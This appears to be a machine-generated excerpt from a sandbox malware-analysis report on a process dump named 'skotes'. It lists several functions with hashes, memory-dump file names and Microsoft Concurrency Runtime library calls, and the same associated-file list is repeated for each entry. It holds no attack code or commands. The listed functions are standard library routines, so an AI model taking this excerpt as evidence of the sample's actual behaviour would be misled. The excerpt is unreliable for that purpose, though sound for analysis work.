Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 340ae92b14255798388e9f0d12f27b65f8cfd49eb7d786cfc9dbba4e1e6e3bc3
Instruction ID: 23f145d30b91a9fa516384aa3299c0f9894fb9d4e2a6878dbf3e02251d5db2df
Opcode Fuzzy Hash: 340ae92b14255798388e9f0d12f27b65f8cfd49eb7d786cfc9dbba4e1e6e3bc3
Instruction Fuzzy Hash: B1816A3491024AEBDF169F54C991FBEBBA1AF56344F04429CEC412A252CB728D3DDB61

Function 002C2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 002C2982

Part of subcall function 002C24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 002C2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 002C29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 002C29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 002C29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 002C2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 002C2AD8

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 379debf67446da7afc3309219dde1f77e9dc01c33389d4e971ea615a4f2f5d08
Instruction ID: 08ef9f3f47264b554a93c587a89001c7b952df6bf7bfddffa073598893fa6868
Opcode Fuzzy Hash: 379debf67446da7afc3309219dde1f77e9dc01c33389d4e971ea615a4f2f5d08
Instruction Fuzzy Hash: BE718B3092024AEBDF15DF54C981FBEBBB5AF55308F04429CEC416B252CB729D29DB61

Function 002B2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 002B2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 002B28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 002B2913

Part of subcall function 002B07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 002B080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 002B2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 002B29DB

Part of subcall function 002B07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 002B07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 002B29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 002B2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 002B2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 002B2A7E

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: e1910ee6f260204526247874e32c39d6103337d15b1cfd9d458b541e081b28c0
Instruction ID: 9f37d29d68de84818f8b5286e56d19fd44bfd98d0ce3d39e1c243e42925dca50
Opcode Fuzzy Hash: e1910ee6f260204526247874e32c39d6103337d15b1cfd9d458b541e081b28c0
Instruction Fuzzy Hash: 5281E031A20B26CBCB18DFA8E8945FDBBB5BF483A4B24403DD545E7245DB306D69CB90

Function 002B69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 002B6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 002B6A51
List.LIBCONCRT ref: 002B6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 002B6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 002B6AB9
List.LIBCONCRT ref: 002B6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 002B6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 002B6B20
List.LIBCONCRT ref: 002B6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 002B6B68

Part of subcall function 002B5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 002B5EF7
Part of subcall function 002B5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 002B5F09

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: a6e4fdecd8b8c01cae64d269596d8113d5bcf3a410934233c4a2169c151e77bd
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 7C514E71A1021AAFDF04DF54C599BEDB3B8BF08384F044069E915AB282DB34AE55CF90
